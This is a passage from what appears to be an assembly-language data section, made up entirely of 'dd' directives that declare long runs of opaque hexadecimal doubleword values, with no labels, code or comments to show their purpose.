22DD565Ch, 136CB004h, 0A35BF25Ch, 0CF81014Ah, 2BA25792h dd 2E50283Ah, 25213389h, 31602E51h, 0A45089DDh, 17D98B53h dd 0AF966159h, 0EF2BD330h, 809A007Bh, 0BFDCC96Fh, 6E1798D8h dd 9EEC5F0Fh, 0E92FFD12h, 8C19BC5Dh, 412F7700h, 23FBF670h dd 0E4E15F9Dh, 0AD27BDAAh, 80274E10h, 0B5E96B85h, 0B55417F9h dd 355F21ABh, 0F530A514h, 6009853Dh, 7DF921B4h, 0CF12D16Ch dd 0E5F290EFh, 0F0A53A88h, 5F758107h, 0E1DD352Fh, 0E4096ECEh dd 0F13DF5C6h, 2653909h, 5D2749A0h, 0C40B234Dh, 9BCD5DF1h dd 0C85101E0h, 0EF4B0028h, 0ACF7211Bh, 59ADC18Bh, 66BDBF62h dd 658E0053h, 0AE89E967h, 83592C86h, 0BD2B8250h, 5869E4C9h dd 28277E09h, 5BA0204Eh, 50811A49h, 6E0F9173h, 0EE572B2Ch dd 87B35C21h, 7BF2F53Eh, 1780AB9Bh, 396437EFh, 0B12CFC0Bh dd 40F8EF2Ah, 0CB2B9FD4h, 0CA52510Fh, 6AB7640Eh, 0DD2CDBBEh dd 38A4DFC2h, 810840EDh, 1094A41Ch, 4019D742h, 129D14A0h dd 44AB551Ch, 0C1607DDEh, 2326AFBh, 29D4A3E1h, 0C348A586h dd 882DEF80h, 17127A5Bh, 0BEF0A1F3h, 5EF98E62h, 355FE9FCh dd 0EE770EC7h, 891DC76Eh, 8D842631h, 70C4AAD1h, 7EA2D1B8h dd 0ED026A22h, 0FBF1E989h, 0B7B4F0AFh, 4D0305FBh, 0DA1EABB9h dd 4E97FC31h, 0B0C4B2C0h, 0C0021F5Ah, 0A2CCB965h, 785E5078h dd 0DB905AB3h, 62358F78h, 0CC4008F3h, 8B60019Ah, 550EB8CFh dd 0BB506035h, 0D91E2401h, 104AE975h, 4C0D2C3Ah, 1DE2D743h dd 7EAD30h, 0D329BBEDh, 90CBDC12h, 71F98A2Dh, 0E91354C9h dd 0E5B075E4h, 876500BFh, 0B3905C60h, 0F5A35083h, 0C0C0DBB5h dd 54ECF7E1h, 6D612576h, 8012EDECh, 0D3F109DFh, 18A7E3Bh dd 61FD1712h, 0C61572Ah, 69C4066Ch, 5C5F0B1Ah, 81F4EB90h dd 0A93301DCh, 17478B4h, 389360A6h, 4E214A40h, 0E8BEF929h dd 2290938h, 966420B1h, 536AE200h, 0B9719414h, 259E0670h dd 0DCEFAAAEh, 49E59D5Ah, 351D622Fh, 95A55029h, 5D08DB74h dd 1FE0252Ah, 0E42018Dh, 0BD25C44Eh, 53897B1Ch, 64804378h dd 0EA3FD063h, 94E87D5Eh dd 81B1B45Ah, 0EA631845h, 0EC547200h, 0BCF7B1A3h, 835F6B00h dd 5768C369h, 1416725Bh, 0D4BA28C7h, 0FC60C1C1h, 8D7D40E8h dd 79E47E17h, 72591600h, 0B6D1C595h, 0EC1E4E43h, 27062002h dd 0C77C615Bh, 0C148A947h, 3A8D29DAh, 4C2BDCE4h, 4B78BBC8h dd 808BF921h, 0CEAF47B6h, 77323B58h, 21F91980h, 8A5031E5h dd 330FED17h, 3760608Dh, 5B2317DEh, 0D1250C76h, 340F57Eh dd 147450E9h, 9AC50AE3h, 12C22071h, 4BD4BF29h, 37C4B257h dd 85F65DEAh, 890A95B5h, 837FEE0Ah, 50794BD3h, 18012C10h dd 0FF174DBDh, 189FD03Bh, 32FE8B7Bh, 0F50F34E9h, 6665F95Eh dd 0D7B88912h, 0AF82BFA4h, 0CCF45E6Eh, 0E934E77Ah, 5742BAB7h dd 0D721E5BDh, 4720DD14h, 10549753h, 0C9CD2E4Ch, 93F46AD1h dd 0CE2700DEh, 0D2C5FC20h, 8D3C3160h, 109852FDh, 945F0DC9h dd 0DCE2EEB2h, 37C6BD3h, 78F2E5D8h, 608BB012h, 28F8E67Ah dd 98C047BFh, 578D4943h, 47B03046h, 0E102E335h, 53BEA2E2h dd 25D75E68h, 0CCC0C44Dh, 5F1B7FBh, 0AE441AA4h, 0FCF60B9Bh dd 55CB9C4Dh, 316C53C8h, 152E0090h, 0FF49EF02h, 0C2B841E1h dd 60BE6F75h, 0C5EEA11Eh, 8AA13C4Bh, 0AAA1BC77h, 0FC207F4Ch dd 3DA16578h, 0D98190EBh, 745243CAh, 0D685D0B3h, 0C2DB8B4Bh dd 963A9A4Bh, 884EF3E9h, 340790E3h, 0C49262C6h, 0CCBC0F64h dd 0B841B996h, 3D670129h, 0A1AEEA46h, 0D6EB3CDEh, 7071B2h dd 209425FCh, 0C9E5A942h, 41C7EA02h, 760EEF58h, 8B55CB30h dd 5A905C90h, 47B1CD55h, 8CFA4083h, 747AE332h, 3B8AB558h dd 0BBF85A62h, 0BA1D2BBBh, 0E9F2DC00h, 1CDB8F6Eh, 672981DFh dd 0D50882DEh, 13B80125h, 2A375A94h, 5313781h, 0DAE82479h dd 0F5AF9403h, 0A468F275h, 0B58061E8h, 25910D92h, 0E5F79725h dd 25B01CE5h, 0F455FEh, 2C25843Eh, 3AF23F28h, 0A43D1654h dd 0E31A9D02h, 5E8F501Ch, 1646D4E4h, 5440CA0Bh, 93D9882h dd 7EA77D0Eh, 0B5DDA556h, 0A74C2534h, 0CE512F0Ah, 23AC602Ah dd 0ED027E3Ch, 0FFF5429Ah, 0DCA4FCE1h, 0F9CB234Bh, 4C053310h dd 0BAECC0F3h, 40E43Eh, 5532B6EEh, 0EFD6419Dh, 5323BC04h dd 0BEEFDFFh, 96DFEACCh, 52256994h, 0C2C76D7Dh, 2E96021h dd 8D558908h, 0E9A5549h, 0B8C4345Eh, 0BA45FA57h, 0E2B6605Fh dd 0B8A6AAE5h, 0FA52C975h, 0C1AD39D0h, 0B6AB06E0h, 0F95E02B5h dd 0D46E0CE8h, 9D016CD1h, 2E20908Fh, 0A1F0B5E4h, 9671ECABh dd 0C1F9273Fh, 0FDC7F311h, 0DEF2608Eh, 33FDC902h, 5FEA0CA4h dd 10D2E581h, 7E123A5Bh, 7FE6EBFh, 62CFF00Eh, 0A9A3EFF3h dd 0B9701813h, 0AC034B41h, 15BC464h, 0E912D110h, 0D6D4BD0Bh dd 0CEE38702h, 0D62A74B5h, 0F2261446h, 84D8138Dh, 0E017A6F7h dd 5DF1AA1h, 0E7806236h, 0E869E9A3h, 13FE259Dh, 528977C5h dd 0E0E460h, 0F72B8B5Ch, 0D1DFEB86h, 665EC818h, 550F61C8h dd 0AD2B1531h, 833A0575h, 0E3BF1FDAh, 0CA004B7Fh, 1DEDC3BBh dd 0A613977Eh, 0E3398DD1h, 4989B381h, 0F26EECEDh, 581FB513h dd 0BAB862A9h, 0D66F2700h, 0C0EAD87Dh, 0E8DE1186h, 28240205h dd 75A7EFC7h, 5BE19B62h, 5B74070Ch, 88D272B8h, 0D4390C72h dd 0DE5400A0h, 5DFA7D98h, 0FC5800A8h, 656D9BDDh, 1A9D2344h dd 0AAC1FDB4h, 2244308h, 0F33AF685h, 0C6809CF7h, 9D97C623h dd 0C398B41Ah, 7A03226Fh, 47620DBDh, 69D82F5Bh, 0FA5F5D04h dd 22A0AF8Ah, 95003C02h, 5185D46Fh, 4A1DBD03h, 9929BF16h dd 6BA9EA2Dh, 40DE56B5h, 8209F1D8h, 0BD764C7Fh, 7697BE50h dd 0B69BDC29h, 65DF9F80h, 2D42FD3Eh, 0C5FC7DA4h, 6108990Dh dd 8912887Bh, 0D9B788C4h, 762911D8h, 0F1FFD295h, 76238Ah dd 36679CE7h, 0E614697Ah, 0EA2201BFh, 4C9D8E62h, 0AE8D3FB4h dd 972F3D4h, 5F2C3520h, 0B544C4FDh, 0BAF3759h, 1BCB786h dd 1EAC7286h, 6143C4BBh, 426D1327h, 1B4FD784h, 2390E860h dd 2EB1C7h, 689846BBh, 320B9E34h, 548E0FDDh, 279B5009h dd 48663Ch, 1F1EE8CBh, 0C478A4h, 0B9DFC346h, 89A1D326h dd 0CB8AC0B7h, 22EC2565h, 99C1024Dh, 323AED67h, 0D2985092h dd 380712D7h, 0E06846DBh, 0D552201h, 27611060h, 9E4A413Eh dd 4A530568h, 0FEDD7697h, 0A40543F8h, 5CFA729Ch, 5D8D10C1h dd 0C68101EEh, 68E5CC6Ah, 37976171h, 873E0209h, 4FFD0EB7h dd 0B64C695Ah, 33E52B02h, 0DD17F1BDh, 5B708A1Ch, 1AB63FE1h dd 0E9F2FEF4h, 4FE9180Dh, 0F2B6361Fh, 937D59ABh, 0A826EB01h dd 1E9127C4h, 0A7D254ABh, 0D2AD9D97h, 466B55Dh, 0BBCE8630h dd 6C093B6Eh, 7E00A3C7h, 3C48B2EDh, 6AD4109Fh, 0DE020064h dd 0D584EEFEh, 18001080h, 0CD7813BDh, 9DBA6B39h, 8038BA14h dd 18A94B04h, 4F74FEBCh, 914C6801h, 504E6476h, 2400CF63h dd 0D3ADAE3Eh, 21000316h, 0B86C0DCFh, 3686B57h, 3A81DEEFh dd 23928D09h, 30976447h, 18C7BFBh, 0BF66A1E4h, 6B3A2CCEh dd 1C23FFh, 0A75B3616h, 0AF122057h, 75EEF041h, 0A79FF643h dd 3D97BB10h, 7CB00936h, 93D0918Ah, 6237CFB5h, 0CE5DBD49h dd 22D92230h, 75D7B725h, 0E900B23Dh, 482FA86Ah, 4A937517h dd 3F7D81BEh, 0A9A92B8Eh, 2E0092FCh, 2F75902Ah, 0BF6BA75Fh dd 275BB3D0h, 0AAB463A8h, 1709A16Ah, 5A51749Fh, 8BB8603h dd 6B29E8B8h, 0E7360A8Ah, 0AFC3E0D1h, 16F6B87Ch, 0C4CFD71Eh dd 0A571CCF8h, 500EFCB7h, 6C05F4E4h, 8A0F0171h, 35B21616h dd 8BAAE00h, 14823C81h, 2588450Eh, 6FF9365Bh, 28C15ACh dd 29606EC9h, 0C45C658Dh, 0B2524145h, 0FBCF65EBh, 762DD1C2h dd 0F5F9E96Bh, 58C899Dh, 0E1801917h, 8256E814h, 1A8A76E7h dd 10CB5DFh, 6BB72571h, 363308h, 1B8C1903h, 27B462Ch, 7A44F6A3h dd 75401E4Fh, 825DFCCh, 89A750Ch, 0D06289FFh, 0BCBDB56Fh dd 96EF712Fh, 0B97A6Ah, 5B28F816h, 952FEAE1h, 9AF82D62h dd 5431519Fh, 688E8700h, 4599C878h, 0D52E4AFBh, 407ABBA3h dd 0F82C0972h, 0D98B2B6Eh, 0BF96C020h, 9458805Eh, 0FC8A1E04h dd 9378AA6Bh, 0ED1D0AA0h, 0AD802298h, 796023CFh, 16E0B5F8h dd 56C5BD29h, 0D7C1ED7Fh, 2AE6ABEh, 0E18D898Bh, 991C5F33h dd 0B8B2344h, 0D9D2BF9h, 0FF501424h, 0C0FE0D95h, 585A9C03h dd 602EC99Ah, 2D118456h, 1B505B2Dh, 0B8036149h, 0CFE08C1Dh dd 0EC2AF200h, 0B96D6719h, 59D79004h, 0AC4B0D9Dh, 0CDEBF5D3h dd 0F1F66B0Ch, 55EF810Eh, 88F8A233h, 0F090A525h, 0AA16327Dh dd 9BF377Bh, 1D902AEh, 1808A1C2h, 0C31783BFh, 7BEA3FC2h dd 60984EE8h, 1EB10CD8h, 7DFE37E6h, 25E91240h, 0CA5AF0B5h dd 55300D2Fh, 1A14601Fh, 0B1D78033h, 0E6490F63h, 815601E7h dd 0ED8AF3C7h, 14BC7B35h, 3E6680D2h, 0D69F0136h, 509089D7h dd 0F1F3E47Dh, 0F56E0C21h, 0B17A2F67h, 3F0F203h, 7390DB9Bh dd 4414D163h, 27CBDF8Bh, 0DDAE09C5h, 0B6E47B4Dh, 0C068A92h dd 0E9209CE6h, 0DE8B2D19h, 2F6A6D4h, 0F68B7982h, 24C8107Ch dd 209D574Ch, 12BF314Fh, 3B3D27E0h, 0BB090952h, 0B790A72Dh dd 0D3B480C9h, 94328FCFh, 48BE876Ch, 14DF0681h, 104E687Eh dd 76B7FEF8h, 1952D4BBh, 29EA0036h, 0A92332CCh, 0B4B609BFh dd 4D5D5A47h, 8CC49A6h, 884DF802h, 56D1FFBDh, 0B100DC91h dd 3075A310h, 1332E673h, 0B260B3A5h, 539E893Ah, 0AB97D8AFh dd 0A4B25100h, 0BB872F2Dh, 8CE70545h, 0FB026A53h, 2509356Eh dd 967066F6h dd 4E451841h, 0F8D352ABh, 0B9F1307h, 0FFC0B8F8h, 7D4C7475h dd 0FCB18603h, 0B85A5EE4h, 0F0C3DD34h, 9D0B1290h, 7B70A109h dd 19B296F6h, 7307984Ch, 0D9DD1AAFh, 96E9F5C1h, 3FCACE6Eh dd 53192FA6h, 7AF7782Ch, 0A74E303Eh, 0A4E7D68Eh, 266509B6h dd 0FCF4F456h, 9D147E6Eh, 0CBF37DBAh, 9DF98C50h, 0D1697CD4h dd 107FA520h, 9CF8126h, 0BA26445h, 0D7AD64D9h, 4701D8B7h dd 0BCB3BF91h, 80E6346Fh, 0ADCA16C8h, 2860CE97h, 0B068A0Fh dd 20CD8501h, 2C61E577h, 0B200D6D2h, 0FC9B0645h, 1752C0B6h dd 10FF6A03h, 0BB5DD51Eh, 392CCC4Ch, 0D8CEBE83h, 9881B39h dd 0ED3D5485h, 3B3E0B0h, 0BF70E6EBh, 0FAFDBB21h, 532F5C89h dd 8033ACF4h, 0AB2F018Fh, 59880989h, 48DA4FACh, 2923EC61h dd 5FA6D195h, 212D3CA0h, 0E02500F1h, 7A7E6995h, 0F06E97BAh dd 0EE6B2D00h, 0A87FEFAFh, 0DE3005EAh, 82029D1Ch, 92F729B4h dd 5DA35DB8h, 63A43D95h, 0EB53848Dh, 0F0D1530Ch, 0E91140C9h dd 2288985Bh, 0FAA1A331h, 0CDF9904h, 1A5AA614h, 5E436595h dd 0BD0306F9h, 0E2BD7B19h, 0F81B5D91h, 5991212h, 17EE32BAh dd 695BB10h, 2D9D03BFh, 4D44972Ah, 228B5E53h, 0D765BA4h dd 0D9FBA96Fh, 4034110Ch, 0D4B19FFh, 0E29802E2h, 604BCE5Ah dd 4F047BCCh, 7741FBD5h, 2D358D03h, 9529E62Dh, 0F8B78986h dd 0D4091FDBh, 0FC305D61h, 0E704CD66h, 17CB314Eh, 2E50E113h dd 17C8C29Ah, 0D2B141CFh, 8A855658h, 13B95BFEh, 41C7A4A5h dd 0E1F51362h, 0DC4A5CFCh, 4CFC5A34h, 57DE00C9h, 720F7AB7h dd 7A6E20D6h, 2509A771h, 3E61F1B5h, 4F77C2B8h, 0E8C6564h dd 0A27398E3h, 0D98A12BFh, 19FC51EDh, 279D028Ch, 339AE408h dd 0B554E67Fh, 0EEE35FE1h, 25553341h, 2CDA6EE5h, 28C41488h dd 32256084h, 0BC2D64BBh, 0D7F39776h, 778A5731h, 592B3A5Fh dd 0B83CBF02h, 83530AF4h, 1B56470h, 0ACBFA4B4h, 0D6DA2375h dd 160204FFh, 22EC8EAEh, 14BF7642h, 0FE7EC082h, 0A91782DEh dd 4D575289h, 601D64CDh, 68050Ch, 55BBE9B9h, 0FF24E06Ch dd 189FE164h, 0D9AD38BAh, 5F7045Bh, 985B91A0h, 4FB8504Eh dd 0F1D781C0h, 1C058BFBh, 12B59509h, 4013E62h, 4BF550B6h dd 7122A18Ah, 6001EF9Ah, 0E86CD381h, 152F0CF3h, 60BC6A7Eh dd 7D8A4004h, 49C4CF64h, 4F4C50B8h, 0F3279912h, 163122Bh dd 0C113677Bh, 688AE53h, 5B5F2F56h, 155257Ch, 0F2C2FDBEh dd 336BC05Fh, 6AD4DA4Bh, 94059EBAh, 5EE70512h, 20AA90FBh dd 0B9FF2FFDh, 44870600h, 0CE52AC5h, 2BBE250h, 46E080Eh dd 1FDB905Fh, 0D154F670h, 1CAC583Ah, 0B8F0C109h, 40F3589Bh dd 7A046807h, 60F2AF86h, 0F20F8FC3h, 4090F557h, 0B200A909h dd 4DC0776Ch, 0EE08BFE0h, 7A840125h, 5E04378Fh, 56012B61h dd 0D6F7D85h, 84039B3Eh, 4EE27ACh, 112D1B1h, 8018D29h dd 0E674AF14h, 7DDAF8C9h, 0AC487F4Dh, 0E90545E0h, 23B9228h dd 0AD3ECB81h, 335E2548h, 0DAA0532Dh, 208B1256h, 2CF9FFh dd 5E34A819h, 9203BFAAh, 2291E05Fh, 5E8A97Ch, 5C736610h dd 0E281A82Fh, 5C00CA69h, 4653AF63h, 7C83D0DBh, 5EF0B86Fh dd 0E17F7016h, 9D016ACCh, 55EBA4F0h, 1C6B14DCh, 0FA8334F6h dd 3B664AD8h, 3E93EE81h, 4629EEF9h, 0C8A8E639h, 0C5A0AB00h dd 315D8BFEh, 3DF2B59Dh, 9842351h, 0B50485FBh, 29BE0369h dd 41B9FF31h, 8D986B02h, 8FD105DCh, 0BE58F924h, 10AD3B16h dd 0D65D2DBDh, 0BF502300h, 9752958Dh, 0BB456AAh, 167508A9h dd 0D4C99CF6h, 7797A503h, 10FD9285h, 761A0DFAh, 26719510h dd 0EAB66800h, 59B38CB4h, 490BCB92h, 0FB736A19h, 1AD572A2h dd 6FA5D0Fh, 0F6EA5C95h, 9D236C04h, 30122AA9h, 0B88E579Eh dd 71DB1901h, 984D0856h, 15071D3Ch, 1357508Bh, 24F5B52h dd 500346Fh, 68633CF0h, 31091DF7h, 5F2F2D95h, 189135B7h dd 7737F80h, 312E78BDh, 61456FB5h, 93E5EFA6h, 0BEE51943h dd 6A6F1A6Dh, 361101E7h, 0F71ED07Ch, 25BF1B70h, 147556DBh dd 0AD4A4AB1h, 9E6EC8Dh, 0ADE1549Dh, 8AF48409h, 9FB27AAFh dd 0D27858DBh, 0FF76253Ah, 95745AE7h, 700CB35h, 0C51083F8h dd 1AF3016Eh, 0FDB501D9h, 0FE8A0028h, 4DBD170Bh, 9A7AEF25h dd 1CCEF712h, 533281ADh, 2F21BD2Bh, 0B8A41CECh, 5FAA345Ch dd 5F89E509h, 972C0D1Eh, 1FF64B03h, 84ECF231h, 0AB3DBD09h dd 0F6F5C4E6h, 0F8460E9Dh, 35B05378h, 7B094111h, 0DF6173C2h dd 143D2338h, 0B3B72785h, 97B2CF12h, 62091700h, 56A39BEBh dd 0DFB23A00h, 0BE261A9Eh, 0A9AB0B8Fh, 547CCD7Ch, 0AF9DB5E9h dd 2600C9D0h, 0BFF67816h, 3F920FFBh, 89178021h, 5461BB96h dd 8EEC09DCh, 0E46807BAh, 6026DEFAh, 96619D50h, 3EFB79Dh dd 0F5239EC6h, 584567F9h, 21EC29DFh, 80B9034Fh, 0AC30D4B4h dd 6CBAD9B3h, 0FD8B172Eh, 44AEC14h, 0E826EC29h, 2790E393h dd 0D25F357h, 2099F1B5h, 44DC288h, 0DEBC7Eh, 6C2DFBB2h dd 33D18D29h, 0FAFB97h, 88801D65h, 0C5255A16h, 251AC5E0h dd 8809D962h, 8180A359h, 0E68F0BEBh, 0A6189723h, 0AAD4D88Bh dd 5FB15E9h, 9CDA96BDh, 90C017C8h, 0BDDA88F4h, 3453BD10h dd 30C2DB00h, 6735B366h, 0A7773BF9h, 0BF5D2400h, 1D18D34Dh dd 0B8E23990h, 5FCF8E00h, 0A9BE665Ah, 0B6617C9Eh, 0C4D64084h dd 6D04E194h, 814EF783h, 61CA0581h, 0BFC4D06Eh, 4250B69h dd 20966E01h, 6609272Dh, 7D32CABBh, 3849594Dh, 30DEF244h dd 0FA520DAEh, 0EB2580D6h, 1139C575h, 37C84B54h, 0B9570086h dd 326C5F6Eh, 374B5D03h, 0BBC0CFBCh, 1A72AAA8h, 803C5F49h dd 7D4DF781h, 0EA164E1Bh, 7DBF7Bh, 828A8F17h, 89377662h dd 0F729B6C9h, 0C3122796h, 44E390E0h, 0D1158758h, 0CF9C172Ch dd 17694C7Ah, 89824971h, 571CB185h, 0CB3BAB67h, 28EC22B9h dd 33227E01h, 0FEF11163h, 8AA6F93Ah, 1A09CFDFh, 0A4CFD7CEh dd 0D98F0242h, 14CE00E7h, 8A11BA21h, 0DB950DEAh, 181DD98Bh dd 2854BD02h, 0F701C1E8h, 0BEE9DFA9h, 0F664C46Eh, 0F2FBE5AFh dd 3E09003Fh, 5FBFF7B9h, 5E930AD1h, 0DE8FC18Bh, 29458305h dd 0F842119Dh, 5C5ADB80h, 81BF60A6h, 244E2F87h, 2B1D3EBBh dd 0C6029017h, 0C2221C35h, 5DADFD2h, 184A36B2h, 0B660A220h dd 0DA5153B3h, 0A102B907h, 0E81180AAh, 615F5BD4h, 0B7A04BE7h dd 0B604DD39h, 2E1F48A7h, 960DA7C3h, 0F97017F4h, 0F2A7E619h dd 73D95FF8h, 2ECB8004h, 6E4BCFB8h, 0D4A40E40h, 0C03FC1F8h dd 5E706C45h, 5001405Dh, 8CBA85E3h, 23BB5B92h, 1A84D102h dd 81AE0272h, 4AA84422h, 0A456B7DEh, 0FB09ECC3h, 0C94A48BCh dd 6CD49571h, 0D462DE52h, 0F79AF016h, 70AD8100h, 18B35BE2h dd 2709830Fh, 0F7078A60h, 3907C5BAh, 2ABB61B5h, 0DADF81FAh dd 837189F3h, 760F906Fh, 7E16390Ch, 319BD1FFh, 12633A85h dd 2AA9C2h, 784CBB52h, 9E5F1284h, 0F81816AFh, 207CE201h dd 20EA8160h, 13B63809h, 27505F5h, 58B88BADh, 0F84D7612h dd 88EE1617h, 0FB5B8BF0h, 0B5B9FB85h, 5409B5BCh, 0FFCBBF19h dd 0CCAD5435h, 0C7600E5Fh, 0E3B2E917h, 87A89D4h, 17DC2FCAh dd 0AE279CA7h, 771A3F09h, 0B8E0A14Dh, 0B755C4Eh, 9FF36953h dd 3A80D28Fh, 8531170Fh, 0F31D012Dh, 2094A83Eh, 905E1729h dd 7D7960C8h, 129D740Ah, 88035A3Ch, 3D006A19h, 0F765DE6Bh dd 0A50910h, 668C0E41h dd 883F3E97h, 8D505B26h, 490C1960h, 0C34C09B2h, 4C7D6F9Dh dd 49099582h, 0BD97B85Ah, 0EE138027h, 388ED747h, 0C6FD2725h dd 6AF93CCFh, 0DABF0F09h, 1B0B9DDCh, 752E822Eh, 677BDF33h dd 5FD8478h, 4D6D13C0h, 0BF08C12Bh, 157DE4FAh, 0F5D43197h dd 25E939A8h, 0D4C40D01h, 207BB841h, 97D6F9E2h, 1584AE1Dh dd 42875B4Eh, 0E18971E4h, 8C6F197Ah, 35C5CA34h, 42BEF88Bh dd 25C9851Fh, 5BEFD009h, 625E626h, 28B1BD01h, 355AB523h dd 34031C12h, 0CAC848BBh, 0F00873BFh, 440B4F3h, 81F5D18Bh dd 9121CD1Bh, 166588DBh, 870AF85Dh, 5F164C44h, 88134B19h dd 0FBA160B4h, 85B5F4C2h, 1C61A1CDh, 5DD2F02Fh, 0B38C2E4Bh dd 81B28B1Fh, 5095525Ch, 994E0BE4h, 0C866DF5Fh, 0CD058CF6h dd 39E97F86h, 0BBACAB24h, 7F8F4D8h, 9932D628h, 0DB03312Dh dd 4A1D11C7h, 0A442BFD9h, 0F4FA55C1h, 3BF7280h, 19B6F712h dd 0A413AEE6h, 0ACCCBA71h, 2BD300D0h, 0F66B47Fh, 0B5091432h dd 0ED6A8764h, 386AE358h, 4455A99Ah, 0D22B00D1h, 0FB1CBCFAh dd 31772F67h, 75A79904h, 34ABFE8Bh, 65B0AE05h, 495D00F5h dd 0CDDBD521h, 16ECD88Ah, 22EBD15Fh, 0FBDD5B6Ah, 0DE11960h dd 64C43AB9h, 0E33DE6ABh, 4A30A7F1h, 5E763347h, 0AD590B86h dd 2BB419F5h, 5AEB77E6h, 0E080A6BCh, 3E8A6A03h, 3581701Fh dd 0F571382h, 4A56328Bh, 6911D6F8h, 0DDE4652Dh, 0C02BF744h dd 0E394D7B8h, 4E1A3D10h, 0ED4AF4E3h, 25FFA403h, 0CE089B85h dd 70E749CEh, 856F95D3h, 9B838A44h, 5F9EB2C7h, 0CE84F910h dd 0F7F9E700h, 0FDBC11F4h, 68640BC8h, 6CFC30FEh, 804DBD49h dd 0C463B828h, 0F713E443h, 651E01F9h, 6983D1E5h, 2150E7D3h dd 20FE12D8h, 0BD7BE88Ch, 16D96A2Eh, 5988FCA2h, 239B1E6Bh dd 69A700A0h, 0DDA6CD3Fh, 0E5338D25h, 50731121h, 2FFB2D26h dd 11CE38A9h, 5DA9A410h, 292F6DB8h, 49977E89h, 0E1FF4882h dd 12DCA57Eh, 2F8DB9Ah, 98E9EB18h, 0EF0F157Bh, 28244523h dd 0E2D222ACh, 0B7E78F52h, 0FB87B39Eh, 64119686h, 906BD20h dd 2FF5B509h, 0CAC64C79h, 25279463h, 841D4DC5h, 0D0BADB2Dh dd 200C086h, 0F9D11EA2h, 1023C2A9h, 2F047D9Dh, 0C058CD60h dd 8D894DFAh, 4801AD31h, 132FDD8Ah, 0DB940293h, 0F375E180h dd 0D8987033h, 0C2E8FF00h, 0CF723B6Fh, 77BB0454h, 0BD01D4D9h dd 9D032297h, 0ED77F409h, 0E0944868h, 12E7E1CEh, 63952804h dd 74BC3F53h, 0B9E613D2h, 4748CCh, 1BF1B014h, 0E00ABF50h dd 0A7744FC1h, 0E7ABB54Eh, 0ECAF4DB3h, 0FB400BF7h, 2057579Bh dd 4E70684Ch, 1292F57Eh, 8F6FB0DAh, 64A0B512h, 0FAE0CFE6h dd 809809Dh, 8257C147h, 401790Bh, 3DE6EB5Fh, 0E2893F25h dd 6189CF75h, 20F820EAh, 1840D1ACh, 38A49E9h, 60378D4Bh dd 0C5BADC8h, 15F218B6h, 97525B30h, 0BD7FDB09h, 9F058105h dd 7F163012h, 0C84A48B9h, 0BA0A01AFh, 934AD1F1h, 1A520D17h dd 8216FC1h, 0E05ACA2Bh, 3987F8CBh, 0EB0225D6h, 689F94Fh dd 0F6E2006Dh, 0A184754Eh, 0D222BD2Ah, 465C0118h, 0DC27B404h dd 0C14FF49Fh, 2B15CF80h, 4496EC8h, 0BE1186DDh, 0C1F3AAC0h dd 2EE9DD4Eh, 0A2BE1E34h, 8C680407h, 74A3CBB6h, 0A2627600h dd 68FD1C3Eh, 1A52011Eh, 5A81860Ch, 0D4B52573h, 0EEE0A64Dh dd 972FBADFh, 8D291A00h, 0DB9507E1h, 8319FBFh, 9013134Dh dd 5B33E7B6h, 0AFECDEEBh, 0ACE9B21h, 0E462B726h, 610328E5h dd 1A05E929h, 21833D2Eh, 0AB447AE1h, 0F4AE8B60h, 94956178h dd 0A7405B52h, 0DEB9B092h, 0BD8712Bh, 0C8F7803Fh, 8A04E9D5h dd 72771F2h, 70C6AD33h, 1DD51B43h, 9589F01Ch, 5C5FBD72h dd 734B7760h, 4D6850B4h, 0C229F80Bh, 8740B766h, 397F9609h dd 14117DDEh, 0ADB1851Dh, 6270C7D6h, 9AEF9504h, 25898A43h dd 6DC70852h, 8F5F331Ah, 0DF05AB36h, 4D096596h, 0DE9D8979h dd 575BA5FFh, 8E181959h, 95B9C497h, 8651941Bh, 67DC6B72h dd 88504AF5h, 27EE44ABh, 992BC502h, 6A138F96h, 88D35D2Fh dd 0D9D2902h, 0F996551Eh, 4F8E6D9Dh, 342ECEBFh, 0BCD0CA22h dd 7B93C85Dh, 0AFC5D203h, 0D801097Bh, 3CE61594h, 4ED2E019h dd 860FB616h, 0BD848BADh, 0D66BAB43h, 0C4021723h, 5CA3A059h dd 0B501623Fh, 9D52707Dh, 86D4C1F6h, 0C5481E67h, 0C2339F16h dd 645BFDE1h, 0B9B71363h, 4588E657h, 8EDB2AFAh, 0B0674682h dd 52A2FB55h, 0AD003BF3h, 203243EAh, 0E8F42C30h, 65D6603Bh dd 221B0E7Fh, 0FA8D1923h, 56F562D8h, 0A9F86554h, 2F9E860h dd 0F5913D68h, 0D68B8F0Fh, 1C9F5FCh, 0E364D105h, 0A919D4h dd 0F3DDA422h, 6C4490B3h, 8B2DA172h, 54EF71F8h, 8276C702h dd 0FC50B316h, 4500554Bh, 0A4174325h, 86109FF0h, 47ECCB2Eh dd 826F7302h, 0E08DC415h, 8124CDA5h, 50197496h, 1FFB5B95h dd 0DEAD6EF9h, 7AB6260Eh, 0B10387E9h, 0F7EB3A94h, 1216484Bh dd 0EAAD17A5h, 38C1CBCh, 0FDA033B9h, 0ACC935C4h, 89E2898Eh dd 71F2560Dh, 0EBE72E21h, 79731901h, 7896B9BAh, 4767847Eh dd 503530BAh, 964DFB8Bh, 0D2BE120Fh, 81E92ABBh, 0A4975C90h dd 2A059245h, 0B7BB3995h, 0E85CA1AEh, 9D6E602Fh, 0CE952F2Dh dd 0B37E8804h, 6F2912DFh, 8BBFE298h, 0F671F69Fh, 0C9C66D00h dd 20D09E75h, 35A0486Eh, 206ABF4Bh, 0F4B7604Ah, 0F0B77D1h dd 826030BDh, 7D754DFDh, 31A5710h, 35A50500h, 80ACFCB9h dd 0F4A31F41h, 2E3600DDh, 0BD8B34C6h, 5A8922BFh, 0D9948261h dd 6435DD22h, 0EC961D11h, 824C8E99h, 571B05D1h, 1B64616Fh dd 1869D660h, 0F7E7EC04h, 0F48CB222h, 7A371E05h, 49FC5C70h dd 9D849E01h, 5A09BC61h, 80A376Eh, 0D655C18Bh, 0D793672Dh dd 0E6559D12h, 0B5459AEAh, 745A4F7Bh, 6977C1C7h, 3316D02Fh dd 0BCC4E0A2h, 0D4DB8005h, 30BA6050h, 47FE69A3h, 2F64A760h dd 0BD5E7470h, 4DA5FBDCh, 0F423C7C8h, 0BC4FE96Ah, 407C0146h dd 2B51E216h, 80EC7835h, 0FEF23BEFh, 8AB5009Ah, 0AF95FCD0h dd 5609FA2Ch, 8429D683h, 5F040914h, 0FBDBBF6Ah, 0CC9BFC1h dd 0C4FC3E19h, 8255ED4Eh, 834798Dh, 94B07D6h, 0D7F9F71Ah dd 2E7FDD9Dh, 89443F12h, 1CAE8A0Fh, 0B85B52EDh, 0E3D304EFh dd 8B200864h, 37B590FEh, 0CD6D0C36h, 